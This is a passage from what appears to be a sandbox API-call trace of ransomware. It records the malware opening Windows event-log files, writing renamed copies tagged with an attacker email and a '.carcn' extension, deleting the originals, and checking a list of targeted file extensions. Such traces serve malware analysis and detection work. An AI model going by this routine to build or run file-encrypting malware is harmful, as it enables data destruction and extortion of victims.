"c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0179.820] GetLastError () returned 0x0 [0179.821] ReadFile (in: hFile=0x374, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0179.861] WriteFile (in: hFile=0x310, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0179.863] ReadFile (in: hFile=0x374, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.863] WriteFile (in: hFile=0x310, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x136, lpOverlapped=0x0) returned 1 [0179.863] SetEndOfFile (hFile=0x310) returned 1 [0179.863] CloseHandle (hObject=0x310) returned 1 [0179.865] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.865] SetEndOfFile (hFile=0x374) returned 1 [0179.866] CloseHandle (hObject=0x374) returned 1 [0179.866] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.866] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1 [0179.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0179.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0179.867] lstrlenW (lpString=".doc") returned 4 [0179.867] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.867] lstrlenW (lpString=".docx") returned 5 [0179.867] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.867] lstrlenW (lpString=".pdf") returned 4 [0179.867] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.867] lstrlenW (lpString=".xls") returned 4 [0179.867] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.867] lstrlenW (lpString=".xlsx") returned 5 [0179.867] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.867] lstrlenW (lpString=".ppt") returned 4 [0179.867] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0179.867] lstrlenW (lpString=".zip") returned 4 [0179.867] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.867] lstrlenW (lpString=".rar") returned 4 [0179.867] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.867] lstrlenW (lpString=".bz2") returned 4 [0179.867] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.867] lstrlenW (lpString=".7z") returned 3 [0179.867] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0179.867] lstrlenW (lpString=".dbf") returned 4 [0179.867] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0179.867] lstrlenW (lpString=".1cd") returned 4 [0179.867] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0179.867] lstrlenW (lpString=".jpg") returned 4 [0179.867] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0179.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0179.867] lstrlenW (lpString=".doc") returned 4 [0179.868] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.868] lstrlenW (lpString=".docx") returned 5 [0179.868] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.868] lstrlenW (lpString=".pdf") returned 4 [0179.868] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.868] lstrlenW (lpString=".xls") returned 4 [0179.868] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.868] lstrlenW (lpString=".xlsx") returned 5 [0179.868] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.868] lstrlenW (lpString=".ppt") returned 4 [0179.868] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0179.868] lstrlenW (lpString=".zip") returned 4 [0179.868] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.868] lstrlenW (lpString=".rar") returned 4 [0179.868] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.868] lstrlenW (lpString=".bz2") returned 4 [0179.868] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.868] lstrlenW (lpString=".7z") returned 3 [0179.868] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0179.868] lstrlenW (lpString=".dbf") returned 4 [0179.868] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0179.868] lstrlenW (lpString=".1cd") returned 4 [0179.868] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0179.868] lstrlenW (lpString=".jpg") returned 4 [0179.868] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.868] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.868] lstrlenW (lpString="Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 48 [0179.869] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0179.869] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=1052672) returned 1 [0179.869] CloseHandle (hObject=0x374) returned 1 [0179.869] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20 [0179.869] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.869] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0179.869] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.869] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.869] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0179.869] GetLastError () returned 0x0 [0179.869] ReadFile (in: hFile=0x374, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0179.944] WriteFile (in: hFile=0x310, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0179.958] ReadFile (in: hFile=0x374, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x1010, lpOverlapped=0x0) returned 1 [0179.967] WriteFile (in: hFile=0x310, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x1020, lpOverlapped=0x0) returned 1 [0180.450] ReadFile (in: hFile=0x374, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.450] WriteFile (in: hFile=0x310, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x134, lpOverlapped=0x0) returned 1 [0180.450] SetEndOfFile (hFile=0x310) returned 1 [0180.450] CloseHandle (hObject=0x310) returned 1 [0180.491] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.491] SetEndOfFile (hFile=0x374) returned 1 [0180.492] CloseHandle (hObject=0x374) returned 1 [0180.492] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.492] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1 [0180.492] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0180.492] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0180.492] lstrlenW (lpString=".doc") returned 4 [0180.492] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.492] lstrlenW (lpString=".docx") returned 5 [0180.492] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.492] lstrlenW (lpString=".pdf") returned 4 [0180.492] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.492] lstrlenW (lpString=".xls") returned 4 [0180.492] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.492] lstrlenW (lpString=".xlsx") returned 5 [0180.492] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.492] lstrlenW (lpString=".ppt") returned 4 [0180.492] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.492] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0180.492] lstrlenW (lpString=".zip") returned 4 [0180.493] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.493] lstrlenW (lpString=".rar") returned 4 [0180.493] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.493] lstrlenW (lpString=".bz2") returned 4 [0180.493] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.493] lstrlenW (lpString=".7z") returned 3 [0180.493] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0180.493] lstrlenW (lpString=".dbf") returned 4 [0180.493] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0180.493] lstrlenW (lpString=".1cd") returned 4 [0180.493] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0180.493] lstrlenW (lpString=".jpg") returned 4 [0180.493] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0180.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0180.493] lstrlenW (lpString=".doc") returned 4 [0180.493] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.493] lstrlenW (lpString=".docx") returned 5 [0180.493] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.493] lstrlenW (lpString=".pdf") returned 4 [0180.493] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.493] lstrlenW (lpString=".xls") returned 4 [0180.493] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.493] lstrlenW (lpString=".xlsx") returned 5 [0180.493] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.493] lstrlenW (lpString=".ppt") returned 4 [0180.493] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0180.493] lstrlenW (lpString=".zip") returned 4 [0180.493] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.494] lstrlenW (lpString=".rar") returned 4 [0180.494] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.494] lstrlenW (lpString=".bz2") returned 4 [0180.494] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.494] lstrlenW (lpString=".7z") returned 3 [0180.494] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0180.494] lstrlenW (lpString=".dbf") returned 4 [0180.494] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0180.494] lstrlenW (lpString=".1cd") returned 4 [0180.494] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0180.494] lstrlenW (lpString=".jpg") returned 4 [0180.494] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.649] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.649] lstrlenW (lpString="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 74 [0180.649] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0180.652] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0180.652] CloseHandle (hObject=0x308) returned 1 [0180.653] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20 [0180.653] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.653] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0180.653] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.653] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.653] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0180.653] GetLastError () returned 0x0 [0180.653] ReadFile (in: hFile=0x308, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.732] WriteFile (in: hFile=0x390, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.734] ReadFile (in: hFile=0x308, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.734] WriteFile (in: hFile=0x390, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x168, lpOverlapped=0x0) returned 1 [0180.734] SetEndOfFile (hFile=0x390) returned 1 [0180.743] CloseHandle (hObject=0x390) returned 1 [0180.747] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.747] SetEndOfFile (hFile=0x308) returned 1 [0180.759] CloseHandle (hObject=0x308) returned 1 [0180.760] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.761] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1 [0180.761] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0180.761] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0180.761] lstrlenW (lpString=".doc") returned 4 [0180.761] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.761] lstrlenW (lpString=".docx") returned 5 [0180.761] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.761] lstrlenW (lpString=".pdf") returned 4 [0180.761] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.761] lstrlenW (lpString=".xls") returned 4 [0180.761] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.761] lstrlenW (lpString=".xlsx") returned 5 [0180.761] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.761] lstrlenW (lpString=".ppt") returned 4 [0180.761] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.761] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0180.761] lstrlenW (lpString=".zip") returned 4 [0180.761] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.761] lstrlenW (lpString=".rar") returned 4 [0180.761] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.761] lstrlenW (lpString=".bz2") returned 4 [0180.761] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.761] lstrlenW (lpString=".7z") returned 3 [0180.761] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.761] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0180.761] lstrlenW (lpString=".dbf") returned 4 [0180.761] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.762] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0180.762] lstrlenW (lpString=".1cd") returned 4 [0180.762] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.762] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0180.762] lstrlenW (lpString=".jpg") returned 4 [0180.762] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.762] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0180.762] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0180.762] lstrlenW (lpString=".doc") returned 4 [0180.762] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.762] lstrlenW (lpString=".docx") returned 5 [0180.762] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.762] lstrlenW (lpString=".pdf") returned 4 [0180.762] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.762] lstrlenW (lpString=".xls") returned 4 [0180.762] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.762] lstrlenW (lpString=".xlsx") returned 5 [0180.762] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.762] lstrlenW (lpString=".ppt") returned 4 [0180.762] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.762] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0180.762] lstrlenW (lpString=".zip") returned 4 [0180.762] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.762] lstrlenW (lpString=".rar") returned 4 [0180.762] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.762] lstrlenW (lpString=".bz2") returned 4 [0180.762] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.762] lstrlenW (lpString=".7z") returned 3 [0180.762] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.762] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0180.762] lstrlenW (lpString=".dbf") returned 4 [0180.762] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.762] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0180.762] lstrlenW (lpString=".1cd") returned 4 [0180.762] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.763] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0180.763] lstrlenW (lpString=".jpg") returned 4 [0180.763] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.763] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.763] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Debug.evtx") returned 41 [0180.763] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0180.763] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=1052672) returned 1 [0180.764] CloseHandle (hObject=0x310) returned 1 [0180.764] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0180.764] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.764] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0180.764] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.764] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.764] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.764] GetLastError () returned 0x0 [0180.764] ReadFile (in: hFile=0x310, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0180.818] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0180.833] ReadFile (in: hFile=0x310, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | 